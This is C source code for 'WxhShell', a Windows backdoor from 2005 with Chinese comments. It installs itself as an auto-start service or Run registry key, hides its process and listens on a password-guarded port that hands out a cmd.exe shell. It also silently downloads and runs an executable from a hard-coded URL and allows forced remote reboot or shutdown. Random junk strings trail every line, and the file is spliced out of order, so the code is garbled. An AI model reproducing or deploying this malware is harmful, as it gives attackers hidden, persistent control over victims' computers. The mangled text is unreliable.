  case 'd': { Ev R6^n/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @"\j]ZEnY  
    if(Boot(SHUTDOWN)) `Z}7G@ol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pnvHh0ck_  
    else { )<kI d4E  
    closesocket(wsh); ;-OnCLr  
    ExitThread(0); hSO(s  
    } *7ggw[~  
    break; Kf.G'v46  
    } |9;6Cp  
  // 获取shell ,EAf/2C  
  case 's': { !&3iZQGWv  
    CmdShell(wsh); \1AtB c&  
    closesocket(wsh); epWO}@ b a  
    ExitThread(0); x*EzX4$x  
    break; _msV3JBr  
  } oj6b33z  
  // 退出  !IZbMn6  
  case 'x': { PMdvBOtS`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RcASFBNpS  
    CloseIt(wsh); !F|mCEU  
    break; (&w'"-`  
    } lYS+EVcR  
  // 离开 me#?1r  
  case 'q': { $ON4 nx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); abHW[VP9  
    closesocket(wsh); Vu%XoI)<KY  
    WSACleanup(); AF=9KWqf  
    exit(1); 3N'fHy  
    break; 2f%G`4/p  
        } 6%p$C oR  
  } ^&AhW m7\  
  } wc3OOyP@0  
",b3C.  
  // 提示信息 \8~P3M":c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H9x,C/r,  
} "71,vUW  
  } =?*6lS}gy  
Lqt.S|  
  return; Koi  
} aX oD{zA  
tA?cHDp4E  
// shell模块句柄 >d`XR"_e  
int CmdShell(SOCKET sock) hr T_0FZV  
{ %<g(EKl  
STARTUPINFO si; 6 N%fJ   
ZeroMemory(&si,sizeof(si)); C)7T'[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qg7rkRia  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YpAJ7 E|7  
PROCESS_INFORMATION ProcessInfo; & *^FBJEa.  
char cmdline[]="cmd"; P <$)v5f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wz}8O]#/.  
  return 0; X}Ey6*D:  
} ~\4B 1n7  
,ZpcvK/S  
// 自身启动模式 Zy}Qc")Z  
int StartFromService(void) yzvNv]Z'*  
{ fQ\nK H~  
typedef struct fkprTk^#  
{ Nh I&wl  
  DWORD ExitStatus; D# $Fj  
  DWORD PebBaseAddress; W>ziA  
  DWORD AffinityMask; {*=+g>R gD  
  DWORD BasePriority; V)$y  
  ULONG UniqueProcessId; NZJ:@J=-  
  ULONG InheritedFromUniqueProcessId; ^J?ExMu  
}   PROCESS_BASIC_INFORMATION; hmA$gR_  
+<G |Ru-  
PROCNTQSIP NtQueryInformationProcess; p19[qy~.  
KuU]enC3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kk}|[\fW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m3apeIEi[  
}~?B>vZS  
  HANDLE             hProcess; u,zA^%   
  PROCESS_BASIC_INFORMATION pbi; s`j QX\{  
4(VVEe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ho1Mo  
  if(NULL == hInst ) return 0; W"m\|x  
A@8Ot-t:\2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); di@4'$5#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \m3'4#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rjmKe*_1V  
n{>Ge,enP0  
  if (!NtQueryInformationProcess) return 0; D 8nt%vy  
@}#"o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q*S|SH-cZ0  
  if(!hProcess) return 0; w/8`]q  
CDDx %#eG>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7x/S4Gs'4  
E<[_L!2  
  CloseHandle(hProcess); -BY'E$]4  
bYuQ"K A$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0_}^IiG  
if(hProcess==NULL) return 0; j\^0BTZ  
Oz\mIVC#  
HMODULE hMod; 2Xu?/yd  
char procName[255]; 6GxQ<  
unsigned long cbNeeded; y$n7'W6  
[m9Pt]j@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]L'FYOfrpx  
U({20  
  CloseHandle(hProcess); H-?wEMi)*u  
4H7 3a5f  
if(strstr(procName,"services")) return 1; // 以服务启动 9;Z2.P"w  
63s<U/N  
  return 0; // 注册表启动 +N161vo7  
} 'bH',X8gF  
 0p8Z l  
// 主模块 uCA! L)$  
int StartWxhshell(LPSTR lpCmdLine) @/S6P-4  
{ |4UU`J9M  
  SOCKET wsl; <@B zF0  
BOOL val=TRUE; "[`.I*WNo  
  int port=0; 'C l}IDF  
  struct sockaddr_in door; s m42  
#q;hX;Va  
  if(wscfg.ws_autoins) Install(); wzw`9^B  
{K{&__Nk  
port=atoi(lpCmdLine); OH.Re6Rr  
Bg^k~NX%  
if(port<=0) port=wscfg.ws_port; z*Y4t?+  
IrJPP2Q  
  WSADATA data; pUvbIbg+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GZL{~7n  
~~U2Sr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T5mdC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .YvE  
  door.sin_family = AF_INET; -qki^!Y?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |E\0Rv{H3  
  door.sin_port = htons(port); aZ$$a+  
3pxm0|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sZ,MNF8i  
closesocket(wsl); _n.2'  
return 1; LPjsR=xi  
} _1z|QC  
4dDDi,)U  
  if(listen(wsl,2) == INVALID_SOCKET) { F^5<o  
closesocket(wsl); VS$ZR'OP0  
return 1; ^y.e Fz  
} S.;>:Dd[K  
  Wxhshell(wsl); 9m2_zfO[ w  
  WSACleanup(); 8\-Q(9q(  
n@LR?  
return 0; K^V*JH\G  
{HV$hU+_)Q  
} SZOcFmC?  
:n3)vK   
// 以NT服务方式启动 8S&Kf>D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q!iMc  
{ L  lP  
DWORD   status = 0; ],*^wQ   
  DWORD   specificError = 0xfffffff; "K EB0U  
nwwKef(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #+V5$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [OI&_WIw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zw{cli&S  
  serviceStatus.dwWin32ExitCode     = 0; #1MEmt  
  serviceStatus.dwServiceSpecificExitCode = 0; ,2F4S5F~rC  
  serviceStatus.dwCheckPoint       = 0; 8^fkY'x  
  serviceStatus.dwWaitHint       = 0; JPS7L}Kv  
MCamc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .xtjB8gc  
  if (hServiceStatusHandle==0) return; B/IPG~aMEZ  
F+;{s(wx  
status = GetLastError(); o C]tEXJ  
  if (status!=NO_ERROR) c65_E<5Z  
{ GW ]E,a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :kycIM]s  
    serviceStatus.dwCheckPoint       = 0; =e7,d$i  
    serviceStatus.dwWaitHint       = 0; ZeD""vJRY  
    serviceStatus.dwWin32ExitCode     = status; )oOcV%  
    serviceStatus.dwServiceSpecificExitCode = specificError; N0be=IO5#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zcrLd={  
    return; {;(X#vK}9  
  } Bp3%*va  
/K mzi9j+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (wmMHo|  
  serviceStatus.dwCheckPoint       = 0; X\SZ Q[gN  
  serviceStatus.dwWaitHint       = 0; !GkwbHr+p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); im&E \`L7  
} L[zg2y  
eSZS`(#!(  
// 处理NT服务事件,比如:启动、停止 B;'Dh<J1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cH>rS\|Y  
{ :uZfdu  
switch(fdwControl) ; 6Wlu3I  
{ _m!TUT8o  
case SERVICE_CONTROL_STOP: |irqv< r  
  serviceStatus.dwWin32ExitCode = 0; dw)SF,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TlEx w0i!  
  serviceStatus.dwCheckPoint   = 0; ^'S0A=1  
  serviceStatus.dwWaitHint     = 0; Lm<"W_  
  { ||y5XXs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9X8{"J  
  } )u7*YlU\I  
  return; IVYWda0m  
case SERVICE_CONTROL_PAUSE: QDlEby m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o56_t{<  
  break; ~mc7O  
case SERVICE_CONTROL_CONTINUE: ?3!"js B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iw6qNV:\Z  
  break; @%L4^ms  
case SERVICE_CONTROL_INTERROGATE: daT[2M  
  break; )^UM8 s  
}; \H$Ps9Xh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !dfc1UjB  
} *|MHQp'A  
iw<#V&([ J  
// 标准应用程序主函数 @ViJJ\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \oF79   
{  ^o+}3=  
v*%#Fp,g8  
// 获取操作系统版本 -k{n"9a9?  
OsIsNt=GetOsVer(); SCk2D!u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :>to?~Z1  
YV*s1 t/  
  // 从命令行安装 -f0Nb+AR  
  if(strpbrk(lpCmdLine,"iI")) Install(); jR@j+p^e  
X>mY`$!/  
  // 下载执行文件 P  F!S  
if(wscfg.ws_downexe) { 4l2i'H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6#XB'PR2p  
  WinExec(wscfg.ws_filenam,SW_HIDE); ODK$G [-  
} Y:C7S~  
OKfJ  
if(!OsIsNt) { 8~?3: IZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 yc5C`r+6  
HideProc();  "Mgx5d  
StartWxhshell(lpCmdLine); :mLcb. E  
} C=ni5R  
else ua1ov7w$]  
  if(StartFromService()) BP2-LG&\  
  // 以服务方式启动 <va3Ly)c&  
  StartServiceCtrlDispatcher(DispatchTable); 9I8{2]  
else >N>WOLbb7(  
  // 普通方式启动 9l2,:EQ*  
  StartWxhshell(lpCmdLine); &^e%gU8!\  
#%k!`?^fbK  
return 0; *6~ODiB  
} F)/}Q[o8  
JqTkNKi/s  
&P&LjHFK  
V6"<lK8"  
=========================================== #|fa/kb~  
vCT5do"C&  
fk)ts,p?  
tS,nO:+x  
|du@iA]dP  
*,hS-  
"  t4pc2b  
_ngyai1  
#include <stdio.h> ?)x>GB(9ZN  
#include <string.h> !YL|R[nDH|  
#include <windows.h> ([zt}uf  
#include <winsock2.h> DGr{x}Kq  
#include <winsvc.h> \B"5 Kp<  
#include <urlmon.h> Z<ozANbk  
yiGq?WA7  
#pragma comment (lib, "Ws2_32.lib") naCPSsei  
#pragma comment (lib, "urlmon.lib") 2b xkZS]  
'EJ8)2  
#define MAX_USER   100 // 最大客户端连接数 /*g3TbUs  
#define BUF_SOCK   200 // sock buffer WyVFh AuU  
#define KEY_BUFF   255 // 输入 buffer Eq^k @  
k|Vq-w  
#define REBOOT     0   // 重启 Zh`lC1l'  
#define SHUTDOWN   1   // 关机 ~\`lbGJ7?  
f>ohu^bd  
#define DEF_PORT   5000 // 监听端口 Zws[}G"7h  
Z`nHpmNM  
#define REG_LEN     16   // 注册表键长度 VTySKY+  
#define SVC_LEN     80   // NT服务名长度 qEr2Y/:i"  
r  H;@N  
// 从dll定义API q}e"E cr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [H z_x(t26  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ZPwEP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EZaWEW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /kE3V`es  
9@  [R>C  
// wxhshell配置信息 zu'Uau  
struct WSCFG { Ql a'vcT  
  int ws_port;         // 监听端口 j*>+^g\Q6  
  char ws_passstr[REG_LEN]; // 口令 Kdk0#+xtP  
  int ws_autoins;       // 安装标记, 1=yes 0=no :S}!i?n  
  char ws_regname[REG_LEN]; // 注册表键名 ~C=I{qzF+  
  char ws_svcname[REG_LEN]; // 服务名 TSqfl/UI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .MkHB0 2N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !TY9\8JzV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \UM9cAX`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^]w!ow41  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y:(OZ%g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;vvO#3DWM  
p C l[DE  
}; ,80qwN,  
/e :V44  
// default Wxhshell configuration >f#P(  
struct WSCFG wscfg={DEF_PORT, D].!u{##  
    "xuhuanlingzhe", T:q_1W?h]  
    1, ~4h<nc  
    "Wxhshell", 6s\niro2  
    "Wxhshell",  S[!K  
            "WxhShell Service", ){`s&?M0  
    "Wrsky Windows CmdShell Service", lP& 7U  
    "Please Input Your Password: ", Vy0s%k  
  1, M*FUtu  
  "http://www.wrsky.com/wxhshell.exe", P:h;"  
  "Wxhshell.exe" J$  
    }; p3ox%4  
~>&7~N8  
// 消息定义模块 =r"8J5[f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _O)xE9t#ru  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /!;oO_U:#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1>P[3Y@}  
char *msg_ws_ext="\n\rExit."; [ qt hn[3  
char *msg_ws_end="\n\rQuit."; O=UXe]D  
char *msg_ws_boot="\n\rReboot..."; ehk5U,d  
char *msg_ws_poff="\n\rShutdown..."; ntbl0Sk  
char *msg_ws_down="\n\rSave to "; hc OT+L>  
L;zwqdI  
char *msg_ws_err="\n\rErr!"; k8H@0p  
char *msg_ws_ok="\n\rOK!"; |D+"+w/  
d4KT wn5g  
char ExeFile[MAX_PATH]; IWcgh`8  
int nUser = 0; OV3l)73?t  
HANDLE handles[MAX_USER]; ,T@+QXh  
int OsIsNt; i^Vb42%y  
M#X8Rs1`  
SERVICE_STATUS       serviceStatus; a0I+|fR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zWKnkIit,  
1=(jpy  
// 函数声明 c*2 U'A  
int Install(void); n% zW6}  
int Uninstall(void); MyB&mC7Es  
int DownloadFile(char *sURL, SOCKET wsh); u(l[~r>8W;  
int Boot(int flag); rx2?y3pv  
void HideProc(void); 3qJOE6[}%  
int GetOsVer(void); hw! l{yv  
int Wxhshell(SOCKET wsl); C'&)""3d  
void TalkWithClient(void *cs); !z">aIj\6  
int CmdShell(SOCKET sock); G2 A#&86J{  
int StartFromService(void); .GcIwP'aU-  
int StartWxhshell(LPSTR lpCmdLine); ^hq+ L^$^  
|/<,71Ae  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %B?@le+%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >B>[_8=f@  
abiZ"?(  
// 数据结构和表定义 j8n_:;i*  
SERVICE_TABLE_ENTRY DispatchTable[] = t80s(e  
{ _5TSI'@.4  
{wscfg.ws_svcname, NTServiceMain}, e$]`  
{NULL, NULL} K"u-nroHW  
}; HT&CbEa4'  
<=.0 P/N  
// 自我安装 Pyh+HD\  
int Install(void) X`i'U7%I  
{ vD<6BQR  
  char svExeFile[MAX_PATH]; iUSP+iC,  
  HKEY key; },58B  
  strcpy(svExeFile,ExeFile); 0K/Pth"*  
S_; 5mb+b  
// 如果是win9x系统,修改注册表设为自启动 Fp'qn'){:#  
if(!OsIsNt) { ^X-3YhJ4U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <xpOi&l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rR`'l=,t  
  RegCloseKey(key); \kSoDY`l&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zoe>Ow8mE`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LXYpP- E  
  RegCloseKey(key); 6v8HR}iK  
  return 0; yg({g "  
    } m$<LO%<~p  
  } HYVSi3[  
} MKVz'-`u  
else { t Gt/=~n9  
hojP3 [  
// 如果是NT以上系统,安装为系统服务 ]xGo[:k|E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5ncjv@Aa  
if (schSCManager!=0) l{b<rUh5W  
{ s18o,Zs'  
  SC_HANDLE schService = CreateService lGrp^  
  ( ;:<z hO  
  schSCManager, |;xm-AM4r  
  wscfg.ws_svcname, A/5??3H  
  wscfg.ws_svcdisp, fM,!9}<  
  SERVICE_ALL_ACCESS, TljN!nv]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *u LOoq  
  SERVICE_AUTO_START, k(hYNmmo j  
  SERVICE_ERROR_NORMAL, HIiMq'H^  
  svExeFile, #a1zk\R3  
  NULL, + *u'vt?  
  NULL, 590.mCm  
  NULL, be&5vl  
  NULL, ,RmXZnWY  
  NULL h>ZNPP8N  
  ); Oi#4|*b{W  
  if (schService!=0) ]vj.s/F~  
  { 758`lfz=_  
  CloseServiceHandle(schService); nW)-bAV<  
  CloseServiceHandle(schSCManager); =^liong0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lMkDLobos  
  strcat(svExeFile,wscfg.ws_svcname); .CJQ]ECl7p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xae0xs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d)@Hx8  
  RegCloseKey(key); EY3x o-H  
  return 0; 'I$-h<W  
    } 8: #\g  
  } pe^hOzVv  
  CloseServiceHandle(schSCManager); pypW  
} gut[q  
} DI9hy/T(  
FHztF$Z  
return 1; "i jpqI  
} 1D2Uomd(  
$;O-1# ]  
// 自我卸载 #h,7dz.d  
int Uninstall(void) eAqSY s!1  
{ E} Ir<\  
  HKEY key; X;2I' Kg  
Za,MzKd=  
if(!OsIsNt) { 99QMMup  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !LGnh  
  RegDeleteValue(key,wscfg.ws_regname); ku2g FO  
  RegCloseKey(key); s |40v@ M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Cqm=q{K  
  RegDeleteValue(key,wscfg.ws_regname); Wp2W:JX:  
  RegCloseKey(key); @|I:A  
  return 0; R$>]7-N}  
  } K6uZ4 m;  
} 0[A4k:  
} {;:QY 1Q T  
else { 2T3TD%  
C%c}lv8;^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P:~X az\F  
if (schSCManager!=0) XOOWrK7O  
{ Z|78>0SAt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M.DU^-7  
  if (schService!=0) J#k3iE}  
  { '(ZJsw  
  if(DeleteService(schService)!=0) { Mn)>G36(  
  CloseServiceHandle(schService); Oup5LH!sW  
  CloseServiceHandle(schSCManager); p#14  
  return 0; bxxazsj^  
  } \o|5 /N  
  CloseServiceHandle(schService); 1yFVF  
  }  L#  
  CloseServiceHandle(schSCManager); T/[8w  
} xXa* d  
} eA4dDKX+  
J A=9EnTU  
return 1; #sHA!@ |  
} m7~<z>5$  
0LX"<~3j  
// 从指定url下载文件 Sn o7Ru2  
int DownloadFile(char *sURL, SOCKET wsh) /6?A#%hc  
{ ,s=jtK  
  HRESULT hr; gzHMZ/31  
char seps[]= "/"; JPo.&5k  
char *token; 33R1<dRk  
char *file; D)kh"cK*1  
char myURL[MAX_PATH]; B/:+(|  
char myFILE[MAX_PATH]; {z^6V\O5  
WA'&0i4  
strcpy(myURL,sURL); A$6T)  
  token=strtok(myURL,seps); W^o* ^v  
  while(token!=NULL) trl:\m  
  { ZQL4<fy'E  
    file=token; ywSV4ZtM  
  token=strtok(NULL,seps); E$u9Jbe  
  } ';'TCb{f*  
K;n2mXYGM  
GetCurrentDirectory(MAX_PATH,myFILE); "-y 2En  
strcat(myFILE, "\\"); cpIFjb>u{  
strcat(myFILE, file); p3m!Iota  
  send(wsh,myFILE,strlen(myFILE),0); E1 | >O  
send(wsh,"...",3,0); 5g x9W\a ?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 98c##NV(7|  
  if(hr==S_OK) knX*fp  
return 0; Ffv v8x  
else 8vk*",  
return 1; -dj9(~?^  
TT85G&#  
} %VV\biO]  
rNi]|)-ET  
// 系统电源模块 %i!=.7o.  
int Boot(int flag) .Lwp`{F/  
{ .J/x@  
  HANDLE hToken; kiah,7V/  
  TOKEN_PRIVILEGES tkp; z;c~(o@4  
7o+JQ&fF;  
  if(OsIsNt) { ;~A-32;Y4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fwu:x.(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iRbTH}4i  
    tkp.PrivilegeCount = 1; Lip(r3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U<pG P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &-S;.}  
if(flag==REBOOT) { BLepCF38  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )A@ }mIs"  
  return 0; Ok0zgi  
} NmH1*w<A  
else { .C 6wsmQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @Cnn8Y&'  
  return 0; {OH @z!+d  
} !Q/%N#  
  } pBZf=!+E  
  else { 2qA"emUM  
if(flag==REBOOT) { +t9$*i9`L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Czl4^STiC  
  return 0; z<3{.e\e  
} ?Aq \Gr  
else { ].TAZ-4s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hm>7|!  
  return 0; mJ'Q9x"  
} (Xak;Xum1  
} 4 6yq F  
[Iwb7a0p  
return 1; m L#%H(  
} xr;:gz!h  
""Ub^:ucD  
// win9x进程隐藏模块 8C[W;&Y=  
void HideProc(void) >}uDQwX8  
{ ?k|}\l[X1  
D2,2Yy5 y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @4O;dFOQ)  
  if ( hKernel != NULL ) ZaNZUVBh  
  { (plsL   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E43Gk!/|(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wl29xY}`{!  
    FreeLibrary(hKernel); We8n20wf<  
  } #`g..3ey  
E$4_.Z8sRw  
return; |v Gb,&3  
} M0B6v} ^H  
LH:M`\(DL1  
// 获取操作系统版本 tx+KxOt9Y  
int GetOsVer(void) Dc1tND$X3g  
{ 2 cB){.E  
  OSVERSIONINFO winfo; <n+]\a97*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FX->_}kL=  
  GetVersionEx(&winfo); 2!w5eWl,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Juhi#&`T  
  return 1; #1-2)ZO.  
  else Mnv2tnU]  
  return 0; w!5@PJ)~U  
} |}?o=bO  
CnXl 7"  
// 客户端句柄模块 ,/bSa/x`  
int Wxhshell(SOCKET wsl) <[oPh(!V  
{ 5z T~/6-(  
  SOCKET wsh; ]Qu.-F#g  
  struct sockaddr_in client; "mk4O4dF  
  DWORD myID; tM% f#O  
u@@0YUa  
  while(nUser<MAX_USER) 7CGxM  
{ G1!yPQa7d  
  int nSize=sizeof(client); 34Fc oud);  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bd8{25{c  
  if(wsh==INVALID_SOCKET) return 1; dF`\ewRFn  
|riP*b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fr19C%{  
if(handles[nUser]==0) Li?_P5+a  
  closesocket(wsh); xn &$qLB  
else @)IHd6 R  
  nUser++; qH8d3?1XO  
  } |_} LMkU)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,Fv8&tR  
_MI8P/  
  return 0; 46(=*iT&V  
} H[x$65ND  
C4].egVg  
// 关闭 socket NI%&Xhn!*>  
void CloseIt(SOCKET wsh) Y30T>5  
{ #+Pk_?  
closesocket(wsh); O} &%R:  
nUser--; eM) I%  
ExitThread(0); )tD[Ffvr  
} c1wP/?|.>  
FG6bKvEQm^  
// 客户端请求句柄 wuV*!oefo  
void TalkWithClient(void *cs) [bK5q;#U4  
{ hi.` O+;  
fDzG5}i  
  SOCKET wsh=(SOCKET)cs; ^W*T~V*8  
  char pwd[SVC_LEN]; ^'Z?BK  
  char cmd[KEY_BUFF]; } vzNh_  
char chr[1]; C3hQT8~  
int i,j; 4[.DQ#r  
p-S&Wq  
  while (nUser < MAX_USER) {  45qSt2  
K.R4.{mo  
if(wscfg.ws_passstr) { nG~#o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dus [N< w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A@?Rj  
  //ZeroMemory(pwd,KEY_BUFF); ?b,x;hIO  
      i=0; jfOqE*frl!  
  while(i<SVC_LEN) { KT9!R  
^tr?y??k  
  // 设置超时 zT< P_l  
  fd_set FdRead; #J): N  
  struct timeval TimeOut; +%'!+r l  
  FD_ZERO(&FdRead); en?J#fz  
  FD_SET(wsh,&FdRead); c?/R=/H  
  TimeOut.tv_sec=8; :ot^bAyt|  
  TimeOut.tv_usec=0; !4 =]@eFk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pVa9g)+z}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,SQ`, C _5  
]}za  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JK/VIu&!  
  pwd=chr[0]; }iE!( l  
  if(chr[0]==0xd || chr[0]==0xa) { *%#Sa~iPo  
  pwd=0; zF([{5r[!)  
  break; o]jPG  
  } ?r}'0dW  
  i++; YR? ujN  
    } V:Lq>rs#  
6]D%|R,Q#}  
  // 如果是非法用户,关闭 socket h@H8oZ[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IHs^t/;Iv  
} F^/b!)4X  
!Y95e'f.x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @L/p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); brpsZU  
;&2f{  
while(1) { ~ 7^#.  
xaw)iC[gI{  
  ZeroMemory(cmd,KEY_BUFF); |Vj@;+/j  
EG&97l b  
      // 自动支持客户端 telnet标准   )/{zTg8$?/  
  j=0; p "Cxe  
  while(j<KEY_BUFF) { R?E< }\!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xk]:]pl4W  
  cmd[j]=chr[0]; /]@1IC{Lk  
  if(chr[0]==0xa || chr[0]==0xd) { a:V2(nY  
  cmd[j]=0; 5nA *'($j  
  break; *)| EWT?,  
  } IBn+4 2V  
  j++; Hdxon@,+cd  
    } ~B704i  
<{Pr(U*7}  
  // 下载文件 7J6D wh{  
  if(strstr(cmd,"http://")) { m(0c|-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dR|*VT\  
  if(DownloadFile(cmd,wsh)) d>wpG^"w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u6 lcl}'  
  else 9!u&8#i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gT&s &0_7  
  } /T\'&s3D+  
  else { '&+5L.  
"WfVZBWG$  
